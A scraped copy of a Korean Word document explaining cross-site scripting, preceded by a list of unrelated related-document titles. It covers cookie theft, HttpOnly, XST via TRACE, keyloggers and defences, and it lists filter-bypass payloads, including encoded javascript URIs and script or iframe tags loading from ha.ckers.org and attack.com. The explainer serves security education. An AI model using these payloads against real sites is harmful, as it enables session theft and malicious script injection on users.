(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

Similar documents
XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Microsoft Word - CrossSiteScripting[XSS].docx

PowerPoint Template

Secure Programming Lecture1 : Introduction

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

Cookie Spoofing.hwp

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

untitled

Windows 8에서 BioStar 1 설치하기

PowerPoint Template

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

설명 Description 상세정보 네이버에서운영하는서비스중하나인쥬니어네이버 ( 이하쥬니버 ) 에서는쥬니버서비스와 관련하여도움을주기위한 [ 그림 1] 과같은플래시애플리케이션이서비스되고있다.[2] [ 그림 1] 쥬니어네이버에서서비스중인쥬니버도우미플래시애플리케이션 해당플래

Javascript

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

Microsoft PowerPoint - web-part03-ch20-XMLHttpRequest기본.pptx

PowerPoint Presentation

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

*2008년1월호진짜

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

PowerPoint 프레젠테이션

제목 레이아웃

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

TGDPX white paper

#WI DNS DDoS 공격악성코드분석

DDoS 공격, 게임계정유출해커, 비트코인등가상화폐노린다 - 13 년 10 월부터 DDoS, 원격제어, 게임계정유출하더니최근암호화폐채굴 - 개요지난 13 년 10 월,Microsoft 社의인터넷익스플로러취약점 (CVE ) 을통해유포되는악성코드가 DDoS

Windows Live Hotmail Custom Domains Korea

5th-KOR-SANGFOR NGAF(CC)

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft PowerPoint 웹 연동 기술.pptx

ActFax 4.31 Local Privilege Escalation Exploit

PowerPoint 프레젠테이션

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Microsoft PowerPoint - web-part01-ch10-문서객체모델.pptx

1. 배경 업무 내용이나 개인정보가 담긴 청구서 등을 메일로 전달 시 중요한 정보가 유출되는 경우가 발생하고 있으며, 이에 따른 메일 암호화 솔루션을 도입하고 있으나 기존 ActiveX를 기반으로 한 플러그인 방식은 여러 가지 제약으로 인해 사용성이 저하되고, 고객 대

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

Microsoft Word - src.doc

Microsoft Word - 제로보드 XE_CSRF증명.doc

Microsoft Word - php09.doc

TTA Journal No.157_서체변경.indd

게시판 스팸 실시간 차단 시스템

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

PowerPoint 프레젠테이션

untitled

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

데이터통신

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F32C2F7BDC32E >

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

View Licenses and Services (customer)

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2003) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2003 Exchange Server 2003 GFI MailEssentials 2010 fo

로거 자료실

월간악성코드은닉사이트탐지 동향보고서 9 월 침해대응단사이버침해대응본부

PowerPoint 프레젠테이션

ThinkVantage Fingerprint Software


SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2000) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2000 Exchange Server 2003 GFI MailEssentials 14 for

untitled

목차 데모 홖경 및 개요... 3 테스트 서버 설정... 4 DC (Domain Controller) 서버 설정... 4 RDSH (Remote Desktop Session Host) 서버 설정... 9 W7CLIENT (Windows 7 Client) 클라이얶트 설정

#HNS-WI 금융권및포털사이트이용자대상악성코드및공격기법분석 (v0.1 공개버전 )

Secure Programming Lecture1 : Introduction

AhnLab_template

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

제 목

목차 1. 시스템요구사항 암호및힌트설정 ( 윈도우 ) JetFlash Vault 시작하기 ( 윈도우 ) JetFlash Vault 옵션 ( 윈도우 )... 9 JetFlash Vault 설정... 9 JetFlash Vault

<32355FC8A8C6E4C0CCC1F620B1B8C3E020BAB8BEC820B0A1C0CCB5E52E687770>

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F31C2F7BDC32E >

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

Ⅰ. 서론 FOCUS HTML5 는웹문서를제작하기위해사용되는프로그래밍언어인 HTML(Hyper Text Markup Language) 의최신규격을말한다. 기존의 HTML 에서는브라우저자체기능만으로동영상재생, 파일업 / 다운로드, 그래픽 (RIA : Rich Intern

한국에너지기술연구원 통합정보시스템설치방법설명서 한국에너지기술연구원 지식정보실 - 1 -

Microsoft Word - ijungbo1_13_02

Javascript

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

Microsoft PowerPoint - web-part02-ch16-이벤트.pptx

슬라이드 1

슬라이드 1

PowerPoint 프레젠테이션

<B1DDC0B6B1E2B0FCB0FAC0CEC5CDB3DDB0B3C0CEC1A4BAB82E687770>

ìœ€íŁ´IP( _0219).xlsx

FOCUS Ⅰ. 개요 1. 사이버공격동향과거 10년전에비해사이버공격의방법은광범위하고지능적이며, 미치는범위는급격히확대되고있다. 과거개별시스템에존재하는취약점에대한스크립트키디정도의공격에서, 이제조직화된범죄단체또는국가가후원하는조직에서서버뿐만아니라클라이언트프로그램취약점, 스피어

뇌를 자극하는 JSP & Servlet 슬라이드

JAVA Bean & Session - Cookie

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

쉽게 풀어쓴 C 프로그래밍

이도경, 최덕재 Dokyeong Lee, Deokjai Choi 1. 서론

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

개인정보보호의 이해 및 안전한 관리 - 개인PC 및 스마트폰 개인정보보호-

[로플랫]표준상품소개서_(1.042)

System Recovery 사용자 매뉴얼

Ç×°ø¾ÈÀüÁ¤º¸³×Æ®¿öÅ©±¸Ãà¹æ¾È¿¡°üÇÑ¿¬±¸.hwp

슬라이드 1

Transcription:

XSS(Cross Site Scripting) 1. XSS 란무엇인가 XSS 란 Cross Site Scripting 의약자 (CSS 라고도불리기도하나 Cascading Style Sheets 와혼용되어일반적으로 XSS 를많이사용한다.) 로 Web 보안취약점중하나이다. 이러한 XSS 는인터넷이생겨나고활성화되기전, 홈페이지소개및단지정보를제공하는정적인페이지에서인터넷이활성화된현재, 게시판에글을쓰고메일을작성하는등사용자가개입하여동적으로생성되는페이지로바뀌어가면서 XSS 취약점은나타나기시작했다. Web 이발전함에따라 XSS 또한지능화되고있으며, 현재도, 앞으로도가장위협적인 Web 취약점이될것이다. 이취약점이위협적인이유는공격기법자체가 HTML 과 Script 를사용하여쉽게공격코드를제작할수있다는것과, 이렇게제작된간단한공격코드를대부분의홈페이지에손쉽게올릴수있다는것이다. XSS 가실행되는원리를살펴보면악의적인사용자가생성한페이지또는동적으로생성되는웹페이지에악의적인 HTML 태그나스크립트를포함시킬수있다. XSS 는웹어플리케이션에클라이언트로부터데이터가요청 / 응답을통해받아진데이터 ( 악의적인 HTML 이나스크립트 ) 를웹브라우저가해석하게되고, 이렇게해석된데이터를통해공격자가원하는형태대로스크립트실행이가능하게된다. 이러한공격에사용되는대상스크립트나언어는 JavaScript, VBScript, ActiveX, HTML, Flash 등이있다. 2. 다양한공격형태. - Cookie Sniffing 기법 Cookie 란? 사용자인증측면에서만봤을때사용자의인증데이터를가지고있는값이다. 이는클라이언트에저장되며, 파기되기전까지는서버에데이터를요청할때항상서버로보내어진다. 인증프로세스를살펴보면특정웹사이트에서아이디패스워드를입력하게되면서버는 id=guest 형태의데이터를쿠키를통해전송해준다. 이데이터는서버에정보를요청할때마다전송되어지기때문에, 한번의로그인으로인해계속사이트를로그인한상태로서핑할수있게된다. 위의경우 id=guest 라는값을클라이언트즉브라우저가저장하고있기때문에공격자에의해조작될수가있다. id=admin 이라는값으로공격자가조작하여서버로전송하게된다면, 서버는 guest 사용자가아닌 admin 이라는사용자로인식을하여, 동작하게될것이다. 이를방어하기위해웹서버는 Session 을사용하게된다. Session 은기존공격의문제점인쿠키값변조를막기위해, 쿠키에사용자정보를바로전송하지않고서버에사용자정보를저장해두고그저장해둔데이터를찾을수있는 Key 값을 Cookie 로전송하게된다. 즉, 서버에남기때문에데이터조작이불가능하고, 사용자를신뢰할수있다. 이러한방어기법을무력화 (?) 하기위해공격자는 XSS 를사용하여, Cookie 값을훔쳐내고, 훔쳐낸데이터 ( 세션키 ) 를이용하여, 다른사용자로로그인할수있다. 그럼어떠한형태로 Cookie Sniffing 이가능하며, 어떻게활용되는지알아보도록한다.

그림 1. XSS 를통한 Cookie Sniffing 1. 공격자는악성스크립트 (Cookie 훔치는 ) 를정상적인웹서비스를하고있는홈페이지에올려놓는다.( 게시판이나, 메일, 블로그등 ) 2. 일반사용자는아무것도모른상황에서게시물을보거나메일을확인하거나, 블로그에접속한다. 3. 일반사용자는자신도모르게공격자가올려놓은악성스크립트를자동으로실행하게되고, 자신의 Cookie( 인증정보가들어있는 ) 값을공격자에게전송하게된다. 4. 공격자는사용자의 Cookie 값을이용하여, 일반사용자인척속인후, 개인정보를유출하거나, 데이터를훔치거나, 삭제, 변조등다양한공격을한다. 이러한 Cookie 를훔치는행위를방지하기위해 MicroSoft 에서보안대책으로 HttpOnly Cookie 를 Internet Explorer 6 에포함했다. HttpOnly 는 Cookie 에새로운속성을부여한것으로, 이름에서볼수있듯이 http 에서만사용할수있는쿠키이다. 즉 HttpOnly 속성을가지는 Cookie 는 Client Side Script 에서 (javascript, vbscript 등 ) 컨트롤할수없다. 이러한 HttpOnly 는파이어폭스브라우저에서도모듈로따로지원하고있다. Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly] 그림 2 HttpOnly 가추가된 Cookie 위의그림 2 에서보는바와같이쿠키의속성에 HttpOnly 옵션이추가되었으며, 이옵션을사용하여생성된쿠키는스크립트등에서접근할수가없다.

그림 3 HttoOnly 테스트화면 그림 3 에서보는바와같이 HttpOnly 속성을가진쿠키는접근이불가능함을알수있다. 웹페이지에서접근이필요없는쿠키는꼭 HttpOnly 속성을부여하여웹페이지의보안강도를높이도록하자. 하지만이렇게쿠키에접근이불가능하게되자, 공격자들은다른우회방법을통해쿠키에접근하려고시도를했다. 그공격기법이 XST(Cross Site Tracing) 공격이다 XST 공격은웹서버가 TRACE Method 를지원한다면가능하다. TRACE Method 는에코메커니즘형태로 TRACE Method 를전송했을때, 전송된값이그대로다시되돌아오는 Method 다. 그림 4 TRACE Method 그림 4 는 TRACE Method 를통해전송된데이터가다시그대로보여지는걸확인할수있다. 그럼이를통해어떻게 Cookie 를가져올수있을지알아보도록하자.

그림 5 XST 공격테스트코드 그림 6 XST 공격화면 위와같이간단하게 TRACE Method 를이용한공격을활용하여 HttpOnly 속성을우회하여쿠키정보를뽑아올수있다. 하지만최근에 MS 보안업데이트를하면서 TRACE Method 를사용하지못하도록설정하였다. 즉보안업데이트만꾸준히한사용자는 XST 공격을피해갈수있을것이다. - 악성코드유포최근공격의형태가서버를공격하는형태에서개인사용자를공격하는형태로, 단순한호기심에서금전적이득을위한수단으로형태가바뀌면서, 일반사용자를공격하는형태가많이늘어나고있다. 일반사용자의컴퓨터를해킹하여, 악성코드를심는다거나, 악성 ActiveX 를정상 ActiveX 인것처럼속여설치하게만든다거나하여, 일반사용자를공격하게된다. 사람들이많이찾는포털사이트카페나, 블로그를통해 ActiveX 를설치하게하는피해사례도많이있었으며, 또한중국해커들은 ActiveX 취약점을이용하여공격코드를일반게시판에올리기도하고, SQLl Injection 공격을통해사이트에공격코드를심는다거나, 사이트를해킹하여메인페이지에공격코드를심는사례가많이늘어나고있다.

그림 7 ActiveX 공격과 ActiveX 설치 위그림처럼악성코드를설치하여, 사용자가페이지를열어보게한후, 페이지를열어봄과동시에공격자의서버에있는공격프로그램을실행하게된다. 이로인해일반사용자는자신도모르게악성코드에감염되어, 다른사용자를공격하거나, 게임핵같은악성프로그램에의해개인정보등이유출되거나한다. - 스크립트암호화및우회이러한 XSS 공격으로인해많은피해가있었고, 이루어지기때문에포탈이나기타큰홈페이지, 메일서비스를하는업체에서는 Script 를필터링하고있다. XSS 를막기위해 HTML 등을사용하지못하게하면, 사용자에게제공되는서비스가대폭축소되기때문에완전히차단을하지못한채, 단지문자열을필터링함으로서 XSS 공격에대처하고있다. 하지만이러한차단은공격자들에의해쉽게우회가되기때문에 XSS 공격에대한방안으로볼수가없다. 그렇다면어떠한형태로우회가되는지알아보도록하자. <IMG SRC='javascript:alert("XSS")'> 이와같이그림을입력하는태그에자바스크립트를입력함으로써우회가가능하다. 이러한공격이필터링되어있을경우에는 <IMG SRC='vbscript:msgbox("XSS")'> vbscript 를사용하여우회할수도있다. 위와같은우회방법말고도다양한우회방법이존재한다. 간단히살펴보도록하자. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javasc&#114 ;ipt:ale&# 114;t(&#39;XSS&#39;&#4 1;> <IMG 개행문자를사용하여필터링우회 대소문자를섞어필터링우회유니코드인코딩기법을사용하여필터링을우회하는행위 HEX 인코딩을사용하여필터링을

SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72& #x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72& #x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascript:alert('xss');"> <IMG SRC="jav ascript:alert('xss');"> <iframe src=http://attack.com/script.html </iframe> ¼script¾alert( XSS )¼/script¾ 우회하는행위 띄어쓰기를통해필터링우회 HEX 인코딩을중간에껴넣어우회하는행위. IFrame 태그를사용하여외부에있는페이지를읽어들이는행위 US-ASCII 인코딩기법을사용하여필터링을우회하는행위 간단히몇가지만을정리하여알아보았다. 이외에도수많은인코딩방법들이존재한다. 또한국내에서가장많이사용되는 Internet Explorer 브라우저가표준을지키지않아허용되는 XSS 또한심각한수준이다. 또한이러한필터링을우회하기위해 Flash 의 Action Script 에 XSS 코드를삽입하여공격하는경우도많다. 이러한형태는아주쉽게필터링을우회할수있으며, 공격또한쉽다. 이렇듯필터링을우회하여악성코드를삽입해사이트에서악성코드가유포된다면, 많은정상사용자들이피해를입을것이다.@

- 그외다양한공격형태 XSS 공격은이러한공격외에도다양한방식으로공격되고있다. 어떠한형태로공격되고있는지간략하게살펴보면다음과같다. Key Logger 웹페이지안에키보드이벤트를받아입력된키값을공격자의컴퓨터로계속전송하여홈페이지에서입력되는모든키를가로채는행위를한다. 이는아이디나패스워드를입력할때도적용이되며, 이로인해아이디 / 패스워드, 게시물작성내용, 웹페이지활동내역등다양한정보를가로챌수있으므로특히나주의해야한다. Mouse Sniffer Key Logger 등을막기위해은행권에서마우스를통해특정번호를입력하는방식을취하고있다. 이러한방어기법을우회하기위해공격자는마우스의위치를추적하여, 어떠한키가눌러졌는지체크하여공격자의서버로정보를넘기는공격이다. 즉마우스클릭시의 X,Y 좌표를공격자에게넘겨줌으로써, 일반사용자가어떠한키를마우스를통해눌렀는지알수가있다. 거짓정보추가하기공격자는사용자가보여지는페이지를페이지상에서수정하여보여줄수가있다. 공격자는 DOM 트리에서어떠한정보라도수정할수가있다. 예를들어 id/password 를인증하기위한페이지를공격자의페이지로바꿀수있으며, 현재보여지고있는페이지전체를레이어를통해공격자가원하는페이지로완전히다바꿔버릴수도있다. 예를들어은행권과같은금융관련사이트이거나, 개인정보페이지일수도있으니특별히주의해야한다. 데이터변조및삭제, 생성메일서비스나기타서비스를받고있을때, XSS 공격으로인해게시물이나메일과같은데이터를자신도모르게삭제될수있다. 이는공격자가메일이나게시물을읽을때글을삭제하는스크립트를넣어두고, 사용자나관리자가읽게만들어데이터를삭제하는방법으로사용된다. 또한이를사용하여데이터를변조할수도있다. 또한관리자계정이나일반사용자계정을추가할수있으므로각별히유의해야한다.

- XSS 보안 Html 은굉장히많은 TAG 를가지고있으며, 그 TAG 의속성도다양하기때문에실제서비스를제공하면서 TAG 를막기란여간쉬운일이아니다. 그렇다고손놓고지켜볼수도없는노릇이다. 최대한피해를줄이기위해어떻게해야하는지알아보도록하자. 1. 게시판이나메일기타등등에서 HTML 이사용이필요치않을경우에는 HTML 을허용하지않아야한다. 2. HTML 을허용해야할경우에는꼭필요한태그만을허용해야한다. ( 불필요한태그만을필터링하는것은손쉽게우회가가능하다.) 3. 태그의속성, 이벤트를꼭확인하여그에대해적절히대응해야한다. 4. HttpOnly 속성을적극잘활용해야한다. 5. Login 처리시 IP 와 Session 을하나로묶어 A 라는 Session 은 B 라는 IP 에서만사용이가능하게한다. 6. 가급적사이트에서 HTML 표준을따른다. 7. 개인정보를열람하거나수정할경우꼭다시한번인증절차를거치게한다. 8. 주기적으로취약성체크툴을사용하여검증절차를거친다. 9. 코드를동적으로생성하고실행하는것을자제해야한다. 가장잘알려진함수중하나가 eval() 함수인데, 이것은임의의스트링을자바스크립트코드로실행할수있다. 10. 브라우저단에서 XSS 를막아주거나, 자바스크립트를제한해주는보안툴을사용한다.